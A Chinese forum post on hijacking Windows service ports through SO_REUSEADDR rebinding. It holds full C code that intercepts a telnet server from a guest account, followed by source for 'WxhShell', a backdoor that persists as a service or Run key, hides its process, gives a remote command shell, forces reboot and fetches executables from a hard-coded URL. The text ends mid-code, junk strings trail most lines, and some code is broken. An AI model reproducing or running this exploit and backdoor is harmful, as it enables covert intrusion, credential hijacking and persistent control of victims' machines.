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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: Y_S^B)y  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); b&p*IyJR  
{<&I4V@+  
  saddr.sin_family = AF_INET; g ZhE\  
noa?p&Y1m  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); [g/Hf(&  
'=@O]7o~  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); {) 4D1  
oddS~lW  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 <iiu%   
tR!eYt  
  这意味着什么?意味着可以进行如下的攻击: A\lnH5A  
2|(J<H  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 ?stx3sZ  
WA~|:S+  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) bAt%^pc=y  
^x %yIS  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 ~!j1</$_  
gA~BhDS  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  ?Jm/v%0O  
Zs e3e  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 b&~rZ  
K 4I ?1  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 {<ymL}  
nX<!n\J T  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 n NZq`M  
$zbm!._~DA  
  #include j/wG0~<kz  
  #include \dCoY0Z ;  
  #include iN5~@8jAzz  
  #include    eI8^T?  
  DWORD WINAPI ClientThread(LPVOID lpParam);   H:4r6-{  
  int main() 4VSIE"8e  
  { 3D +>NB  
  WORD wVersionRequested; 6T&6N0y+9  
  DWORD ret; s#?Y^bgH  
  WSADATA wsaData; Z<K[  
  BOOL val; &G5+bUF,  
  SOCKADDR_IN saddr; )7c\wAs  
  SOCKADDR_IN scaddr; Q<P],}?:  
  int err; ]3xnq<  
  SOCKET s; fXvJ3w(  
  SOCKET sc; TLl*gED  
  int caddsize; S *?'y  
  HANDLE mt; aePhtQF  
  DWORD tid;   %JBp~"  
  wVersionRequested = MAKEWORD( 2, 2 ); {_|~G|Z  
  err = WSAStartup( wVersionRequested, &wsaData ); }k7@ X  
  if ( err != 0 ) { soA>&b !?  
  printf("error!WSAStartup failed!\n"); K&<bn22  
  return -1; lyfLkBF  
  } "T?%4^:g  
  saddr.sin_family = AF_INET; -4Zf0r1u  
   :,y V?E6]  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 d%VGfSrKq  
W@AZ<(RI:  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); G+ Y`65  
  saddr.sin_port = htons(23); CspY+%3$  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) V /$qD  
  { 8V`r*:\  
  printf("error!socket failed!\n"); oat*ORL  
  return -1; z<ptrH  
  } 0wB ?U~  
  val = TRUE; BQ,]]}e43z  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 p82&X+v/p  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) X3".  
  { 8#2PJHl;  
  printf("error!setsockopt failed!\n"); DoX#+ 07u4  
  return -1; 0XSZ3dY&+  
  } ;n00kel$  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; EN` -- ^  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 QL"fC;xUn,  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 s{x2RDAt  
qxG @Zd  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) m[!t7e  
  { Ex^7`-2,B  
  ret=GetLastError(); ;:vbOG#aSN  
  printf("error!bind failed!\n"); ^O6PZm5J}  
  return -1; $d{{><  
  } ;VeC(^-eh6  
  listen(s,2); ,xuqQ;JX  
  while(1) uXxyw7\W  
  { V9I5/~0c  
  caddsize = sizeof(scaddr); @sav8 ]  
  //接受连接请求 r^n%PH <  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); ]Hc `<P  
  if(sc!=INVALID_SOCKET) o?b$}Qrl  
  { P-ys$=  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); |s+[489g'6  
  if(mt==NULL) 8k2prv^  
  { zIf/jk  
  printf("Thread Creat Failed!\n"); FcdbL,}=<  
  break; yDWzsA/X  
  } zK(9k0+s  
  } R#1h.8  
  CloseHandle(mt); ~ULuX"n  
  } Z<;<!+,  
  closesocket(s); mNc (  
  WSACleanup(); rg "W1m[k  
  return 0; ",(-AU!a)h  
  }   VzA~w` $d  
  DWORD WINAPI ClientThread(LPVOID lpParam) ;<Oe\X  
  { P7&a~N$T6W  
  SOCKET ss = (SOCKET)lpParam; 73A1+2  
  SOCKET sc; l6:k|hrm;  
  unsigned char buf[4096]; D!Owm&We  
  SOCKADDR_IN saddr; _' Xt  
  long num; R4 ;^R  
  DWORD val; ]BP"$rs  
  DWORD ret; F]N9ZWn /  
  //如果是隐藏端口应用的话,可以在此处加一些判断 >#Y8#-$zc  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   $fPf/yQmC  
  saddr.sin_family = AF_INET; vY7C!O/y_k  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); k=Pu4:RF  
  saddr.sin_port = htons(23); $^INl0Pg  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) zC(DigN  
  { ]t\fw'  
  printf("error!socket failed!\n"); WO/;o0{d\9  
  return -1; <@.f#  
  } U`ey7   
  val = 100; Z=|:D,&  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) t~)w921>  
  { wr~# rfH  
  ret = GetLastError(); MIub^ $<C  
  return -1; .!\y<9  
  } 1RY}mq  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) _FeLSk.  
  {  4>uz'j<  
  ret = GetLastError(); <,(6*b  
  return -1; X<Rh-1$8F  
  } &dp(CH<De  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) F6dm_Oq&  
  { br .jj  
  printf("error!socket connect failed!\n"); _:x/\ 8P  
  closesocket(sc); f$Q#xlQM  
  closesocket(ss); /d%&s^M:  
  return -1; ^DS9D:oE  
  } h$)!eSu  
  while(1) +M$2:[xRT  
  { TW(rK&  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 W @Y$!V<  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 \S[:  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 , b ,`;I  
  num = recv(ss,buf,4096,0); 1`Cr1pH  
  if(num>0) hzg&OW=:  
  send(sc,buf,num,0); "G)-:!H  
  else if(num==0) nmn$$=~)  
  break; w}zl=w{G  
  num = recv(sc,buf,4096,0); KV k 36;$  
  if(num>0) ld -c?  
  send(ss,buf,num,0); 5u'"m<4  
  else if(num==0) ^Jcs0c @\  
  break; ,DqI> vx|  
  } n,hHh=.Fu  
  closesocket(ss); { xi$'r  
  closesocket(sc); t/yGMR=  
  return 0 ; 3;Kv9i<~LE  
  } G#ZU^%$M,  
H2 5Mx>|d  
j2}C  
========================================================== 5?kJ]:  
ajq[ID  
下边附上一个代码,,WXhSHELL 1"RO)&  
 &~:b &  
========================================================== \`;FL\1+W  
|y)Rlb# d  
#include "stdafx.h" AH{]tE  
!R-M:|  
#include <stdio.h> fLA!oeq{&}  
#include <string.h> #WwQ^6ESc  
#include <windows.h> 1Y$ gt  
#include <winsock2.h> }_u1'  
#include <winsvc.h> &, hhH_W  
#include <urlmon.h> rbS67--]  
(s4w0z  
#pragma comment (lib, "Ws2_32.lib") %*>=L$A  
#pragma comment (lib, "urlmon.lib") !e*Q2H+  
wo5"f}vd#  
#define MAX_USER   100 // 最大客户端连接数 v~[=|_{  
#define BUF_SOCK   200 // sock buffer U2\g Kg[-Q  
#define KEY_BUFF   255 // 输入 buffer ;Xk-hhR  
?DzKqsS'  
#define REBOOT     0   // 重启 x* *]@v"g  
#define SHUTDOWN   1   // 关机 cod__.  
r0379 _  
#define DEF_PORT   5000 // 监听端口 oFB~)}f<v  
V%g$LrLVe  
#define REG_LEN     16   // 注册表键长度 6Db1mvSe  
#define SVC_LEN     80   // NT服务名长度 Bwj^9J/ob  
} 1^/[?  
// 从dll定义API 6T! *YrS  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 2Vas`/~u~  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); `*mctjSN  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); IeLG/ fB  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); R$X1Q/#md  
}dX[u`zQ  
// wxhshell配置信息 ~McmlJzJG  
struct WSCFG { 7dyGC:YuTL  
  int ws_port;         // 监听端口 -D?T0>  
  char ws_passstr[REG_LEN]; // 口令 J3KY?,g3O_  
  int ws_autoins;       // 安装标记, 1=yes 0=no mRZC98$ @r  
  char ws_regname[REG_LEN]; // 注册表键名 Y*/:IYr`  
  char ws_svcname[REG_LEN]; // 服务名 3?iRf6;n  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 E;.<'t>  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 lM`M70~  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 _tTtq/z<  
int ws_downexe;       // 下载执行标记, 1=yes 0=no Gl}[1<~o  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" Ox7v*[x'  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 "aIiW VQ  
td%]l1  
}; JV(qTb W  
j9)P3=s  
// default Wxhshell configuration NNLZ38BV7  
struct WSCFG wscfg={DEF_PORT, :0|]cHm  
    "xuhuanlingzhe", -CtLL _I  
    1, ,l^; ZE  
    "Wxhshell", _TfG-Ae  
    "Wxhshell", |=L~>G  
            "WxhShell Service", ^2%_AP0=  
    "Wrsky Windows CmdShell Service", :IlRn`9X`  
    "Please Input Your Password: ", [* ,k  
  1, ,*$L_itL  
  "http://www.wrsky.com/wxhshell.exe", `WQz_}TqB  
  "Wxhshell.exe" 7nM]E_  
    }; :@x24wN/  
N7Vv"o  
// 消息定义模块 l5_RG,O0A  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ! 7A _UA8  
char *msg_ws_prompt="\n\r? for help\n\r#>"; )#n0~7 &  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; |TL&#U  
char *msg_ws_ext="\n\rExit."; 1DVu`<OXcH  
char *msg_ws_end="\n\rQuit."; xS?[v&"2  
char *msg_ws_boot="\n\rReboot..."; Dg3S n|!f  
char *msg_ws_poff="\n\rShutdown..."; RAYDl=}  
char *msg_ws_down="\n\rSave to "; f1w&D ]|S+  
rOQ@(aUAZ  
char *msg_ws_err="\n\rErr!"; &6<>hqR^  
char *msg_ws_ok="\n\rOK!"; 1)yEx1  
K>iM6Uv  
char ExeFile[MAX_PATH]; :tU&d(8  
int nUser = 0; -9TNU7^  
HANDLE handles[MAX_USER]; \H|tc#::{  
int OsIsNt; H_RV#BW&  
l/0"'o_0v#  
SERVICE_STATUS       serviceStatus; x O?w8*d  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; .RF ijr  
Gx /sJ(  
// 函数声明 `>KB8SY:qK  
int Install(void); lVF}G[B  
int Uninstall(void); "#1KO1@G  
int DownloadFile(char *sURL, SOCKET wsh); V'?bZcRr~  
int Boot(int flag); f'&30lF  
void HideProc(void); ]S;^QZ  
int GetOsVer(void); d S]TTU1  
int Wxhshell(SOCKET wsl); ,l/~epx4v)  
void TalkWithClient(void *cs); QY2/mtI  
int CmdShell(SOCKET sock); "#,]` ME;  
int StartFromService(void); 0,$eiY)u$  
int StartWxhshell(LPSTR lpCmdLine); ~2u~}v5m7  
1AMxZ (e  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); K"4m)B~@Y  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); QJiU"1  
uc;1{[5`1q  
// 数据结构和表定义 \GhL{Awv&a  
SERVICE_TABLE_ENTRY DispatchTable[] =  h0}r#L  
{ 4UwXrEQp  
{wscfg.ws_svcname, NTServiceMain}, c6/+Ye =h  
{NULL, NULL} Wy1#K)LRb  
}; XTboFrf  
E_sKDybj  
// 自我安装 7|Z=#3INw  
int Install(void) 7Nx5n<  
{ u&{}hv&FY  
  char svExeFile[MAX_PATH]; GF 4k  
  HKEY key; s zBlyT  
  strcpy(svExeFile,ExeFile); S}L$-7Ct  
D>Ij  
// 如果是win9x系统,修改注册表设为自启动 d&[Ct0!++u  
if(!OsIsNt) { n^vL9n_N  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { S:!gj2q9|  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); c#o(y6  
  RegCloseKey(key); LpRl!\FY$  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { #9{N[t  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); NqyKR&;  
  RegCloseKey(key); u\-WArntc  
  return 0; $Ro]]NUz|  
    } Su" 9`  
  } T%0vifoQ_$  
} ;MRK*sfw{  
else { =AEl:SY+  
K @x4>9 3n  
// 如果是NT以上系统,安装为系统服务 zgre&BV0q  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); obA}SF  
if (schSCManager!=0) n-ZOe]3  
{ bu[PQsT  
  SC_HANDLE schService = CreateService Pnf|9?~$H  
  ( udw>{3>  
  schSCManager, G bW1Lq&"  
  wscfg.ws_svcname, t~_j+k0K#  
  wscfg.ws_svcdisp, Y2lBQp8'|  
  SERVICE_ALL_ACCESS, <X>lA  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , Iw@ou  
  SERVICE_AUTO_START, n1 k2<BU4b  
  SERVICE_ERROR_NORMAL, aC$-riP,?'  
  svExeFile, Y]>!uwn  
  NULL, '+?L/|'  
  NULL, 6<aZr\Ufg  
  NULL, 2AYV9egZ  
  NULL, p@B/S(Xi  
  NULL nE"##2X  
  ); hG1\  
  if (schService!=0) %{M_\Ae#  
  { b!(ew`Y;  
  CloseServiceHandle(schService); rq#8}T>  
  CloseServiceHandle(schSCManager); u7PtGN0r%  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); bcx,K b  
  strcat(svExeFile,wscfg.ws_svcname); :mP%qG9U  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { z= \y)'b  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); etnq{tE5  
  RegCloseKey(key); )y~FeKh  
  return 0; %@C(H%obWd  
    } I^}q;L![\  
  } ++>HU{  
  CloseServiceHandle(schSCManager); 9)c{L<o}T  
} j:|um&`)  
} d7, ZpHt  
Hlh`d N  
return 1; [D;wB|+,  
} 6yn34'yw  
j?c"BF.  
// 自我卸载 F7fpsAt7  
int Uninstall(void) %E<.\\^%  
{ >z{*>i,m1  
  HKEY key; oe (})M  
\\ZR~f!<  
if(!OsIsNt) { Rgstk/1  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 0`WjM2So  
  RegDeleteValue(key,wscfg.ws_regname); tO?NbWcp  
  RegCloseKey(key); e6G=Bq$  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ^nO0/nqz]  
  RegDeleteValue(key,wscfg.ws_regname); r6,EyCWcCs  
  RegCloseKey(key); X283.?  
  return 0; &^q!,7.J  
  } c:*[HO\  
} [ADSGnw  
} 9_=0:GH k  
else { k4n 4 BL  
CBkI! In2  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); cj[a^ ZH  
if (schSCManager!=0) EN,PI~~F  
{ c >O>|*I  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); kdgU1T@y.  
  if (schService!=0) 0f_+h %%=  
  { ]n\Qa   
  if(DeleteService(schService)!=0) { \C{Dui) F  
  CloseServiceHandle(schService); 7d m:L'0  
  CloseServiceHandle(schSCManager); H[WsHq;T+9  
  return 0; -RLY.@'d-M  
  } %w$\v"^_Y  
  CloseServiceHandle(schService); D,3Kx ^  
  } s0zN#'o]  
  CloseServiceHandle(schSCManager); E{wnhsl{  
} sn!E$ls3O  
} Q1 t-Z; X  
@p$Nw.{'  
return 1; 61aU~w11a  
} "V= IG{.  
mM[KT} A  
// 从指定url下载文件 .8 GX8[t  
int DownloadFile(char *sURL, SOCKET wsh) :eH*biXy}2  
{ }]<Ghns  
  HRESULT hr; k4C3SI*`4  
char seps[]= "/"; 3-=f@uH!  
char *token; &g;&=<#I  
char *file; I>bO<T`  
char myURL[MAX_PATH]; qsT@aSIo9  
char myFILE[MAX_PATH]; /VmtQ{KTt+  
~|:U"w\[=  
strcpy(myURL,sURL); 7:M`k#oDP  
  token=strtok(myURL,seps); x>]14 bLz  
  while(token!=NULL) icrcP ~$A  
  { MQ#nP_i  
    file=token; &g.do?  
  token=strtok(NULL,seps); cko^_V&x  
  } wB(X(nr  
!&eKq?P{j  
GetCurrentDirectory(MAX_PATH,myFILE); 7Mj:bm&9  
strcat(myFILE, "\\"); o){\qhLp  
strcat(myFILE, file); xCQLfXK7  
  send(wsh,myFILE,strlen(myFILE),0); *2T"lpl  
send(wsh,"...",3,0); G(3wI}  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); )K}-z+$)k  
  if(hr==S_OK) WR.>?IG2E  
return 0; q+Ec|Xd e  
else +QW| 8b  
return 1; '=WPi_Z5:C  
o*t4zF&n  
} V+$^4Ht  
0X<U.Sxn  
// 系统电源模块 d}w}VL8l  
int Boot(int flag) 7W MF8(j5  
{ nb~592u  
  HANDLE hToken; U[R[VY7  
  TOKEN_PRIVILEGES tkp; f=EWr8mno  
Ql1J?9W  
  if(OsIsNt) { kf:Nub+h t  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); si,)!%b  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ?on EqH>  
    tkp.PrivilegeCount = 1; 5$?)f&M  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; rJM/.;Ag  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); c;B:o  
if(flag==REBOOT) { FokSg[)5  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) (&KBYiwr  
  return 0; u9*7Buou^  
} Y6E0-bL@Fe  
else { *'n L[]  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) .WVIdVO7  
  return 0; r [E4/?_  
} 'Ul^V  
  } lD#S:HX  
  else { g7;OZ#\  
if(flag==REBOOT) { XOoz.GSQ  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) \v _R]0m\  
  return 0; 7PW7&]-WQ  
} Pr_DMu  
else { .Cu0G1  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))  u*m|o8  
  return 0; tc|PN+v;  
} ;U&~tpd  
} B; ^1W{%J  
vNQ|tmn  
return 1; -y'tz,En.  
} w+Y_TJ%  
dAr=X4LE  
// win9x进程隐藏模块 { V$}qa{P  
void HideProc(void) .Q!pQ"5  
{ s>I~%+V.?:  
W) ?s''WE;  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); F|&%Z(@a  
  if ( hKernel != NULL ) 4d8}g25C  
  { +&4@HHU{G  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); &U_T1-UR2  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); mM2DZ^"j(  
    FreeLibrary(hKernel); EEP&Y?  
  } Od+nBJ   
jpkKdQX)  
return; v[\GhVb  
} {yFMY?6rf  
;--p/h*.  
// 获取操作系统版本 Hbl&)!I  
int GetOsVer(void) .1f!w!ltVR  
{ 7po;*?Ox  
  OSVERSIONINFO winfo; \HL66%b[  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); RN2z/F Uf  
  GetVersionEx(&winfo); Fu>;hx]s  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) T[- %b9h>  
  return 1; ;qs^+  
  else >-j( [%  
  return 0; XG!^[ZDs  
} .umN>/o[  
XzB3Xs?W2  
// 客户端句柄模块 ]zz%gZz  
int Wxhshell(SOCKET wsl) )Vo%}g?6!  
{ ul{D)zm\D  
  SOCKET wsh; &],O\TAul  
  struct sockaddr_in client; Jow{7@FG  
  DWORD myID; Q">wl  
7|k2~\@q  
  while(nUser<MAX_USER) e\._M$l  
{ K_fJ{Vc>O  
  int nSize=sizeof(client); Flaqgi/j  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); \rY\wa  
  if(wsh==INVALID_SOCKET) return 1; 2S//5@~_m  
sWKv> bx  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); kbSl.V%)  
if(handles[nUser]==0) n] 8*yoge  
  closesocket(wsh); 63'L58O  
else 5R6QZVc  
  nUser++; 7#j9"*  
  } ,U~in)\ U  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); %ed TW[C`  
L>pSE'}  
  return 0; ~i0>[S3 '  
} O&Y22mu  
gZ us}U  
// 关闭 socket ir5eR}H  
void CloseIt(SOCKET wsh) ]/|DCxQ  
{ b?/Su<q  
closesocket(wsh); \[ W`hhJ  
nUser--; k>=wwPy  
ExitThread(0); >:OP+Vc  
} AMN`bgxW  
_ucixM#  
// 客户端请求句柄 ^97[(89G9  
void TalkWithClient(void *cs) Ky*xAx:  
{ [$M l;K  
Yc5<Y-W  
  SOCKET wsh=(SOCKET)cs; |!J_3*6$>*  
  char pwd[SVC_LEN]; 4'.] -u  
  char cmd[KEY_BUFF]; -|P7e  
char chr[1]; ;\]DZV4?)r  
int i,j; [6?x 6_M  
EcPvE=^c  
  while (nUser < MAX_USER) { +&* >FeJY  
a YY1*^  
if(wscfg.ws_passstr) { u4xJ-Vu  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); lUiO|  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); `FK qVd  
  //ZeroMemory(pwd,KEY_BUFF); eGUe#(I /  
      i=0; 'cY @Dqg1  
  while(i<SVC_LEN) { 9y*(SDF  
+A%zFF3  
  // 设置超时 *7qa]i^]  
  fd_set FdRead; )O\l3h"  
  struct timeval TimeOut; + B7UGI  
  FD_ZERO(&FdRead); =H"%{VeC5  
  FD_SET(wsh,&FdRead); [-\DC*6  
  TimeOut.tv_sec=8; Up>,~bs]  
  TimeOut.tv_usec=0; #+^l3h MK  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); )5TX3#=;(G  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); y*8;T v|  
eTt{wn;6  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 5;[0Q  
  pwd=chr[0]; Xm6M s<z6  
  if(chr[0]==0xd || chr[0]==0xa) {  c70B  
  pwd=0; `Mo%)I<`=  
  break; z u1gP/  
  } !9^GkFR6n  
  i++; +EZr@  
    } we?t/YB=  
QzYaxNGv  
  // 如果是非法用户,关闭 socket JV! }"[  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); r?x~`C  
} Q8DKU  
)EG-xo@X  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); xH-} <7  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 5;9.&f  
)' 2vUt`_7  
while(1) { 5hB2:$C  
DE?@8k  
  ZeroMemory(cmd,KEY_BUFF); =OR&,xt  
x_EU.924uY  
      // 自动支持客户端 telnet标准   &0mhO+g   
  j=0; *gI9CVfQl  
  while(j<KEY_BUFF) { 5JZZvc$au  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); [ HjGdC  
  cmd[j]=chr[0]; =IIE]<z  
  if(chr[0]==0xa || chr[0]==0xd) { ,=P0rbtK  
  cmd[j]=0; Q?%v b  
  break; RHq r-%  
  } 87nsWBe  
  j++; CzT_$v_  
    } Vb2")+*:  
*c@]c~hY,  
  // 下载文件 &J=x[{R  
  if(strstr(cmd,"http://")) { S*rcXG6Q^  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); YGLR%PYv"  
  if(DownloadFile(cmd,wsh)) b$FXRR\G  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); F,XJGD*  
  else 9a.[>4}  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); td+[Na0d  
  } Rh7=,=u  
  else { t aOsC! Bp  
,I[A~  
    switch(cmd[0]) { &l~=c2  
  =`%%*  
  // 帮助 {XYf"ONi  
  case '?': { $Vm J[EF1  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 3K_!:[  
    break; J~G"D-l<9/  
  } +z\O"zlj  
  // 安装 .]Z,O>N  
  case 'i': { F^');8~L  
    if(Install()) @yjui  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ;Y16I#?;Kh  
    else t,;b*ZR  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); jdVdz,Y  
    break; j! cB  
    } wmPpE_ {  
  // 卸载 JGk,u6K7  
  case 'r': { mH3{<^Z6  
    if(Uninstall()) z9KsSlS ^  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); dkbKnY&  
    else F[OBPPQ3  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); i@d@~M7/  
    break; hO:X\:G  
    } e3>k"  
  // 显示 wxhshell 所在路径 YuDNm}r[  
  case 'p': { zphStiwIQ  
    char svExeFile[MAX_PATH]; ~9ILN~91  
    strcpy(svExeFile,"\n\r"); v6?<)M%  
      strcat(svExeFile,ExeFile); ,K[B/tD{j  
        send(wsh,svExeFile,strlen(svExeFile),0); }~5xlg$B<<  
    break; K#{E87G(  
    } ]H<C Rw  
  // 重启 1')/BM2  
  case 'b': {   s/'gl  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); & ~[%N O  
    if(Boot(REBOOT)) Wkv **X}  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); #Ryu`b  
    else { k07) g:_  
    closesocket(wsh); VbX$i!>8  
    ExitThread(0); `o*g2fW!  
    } |wj/lX7y  
    break; egi?Qg  
    } s ^{j  
  // 关机 K+mtuB]yr  
  case 'd': { Qi7^z;  
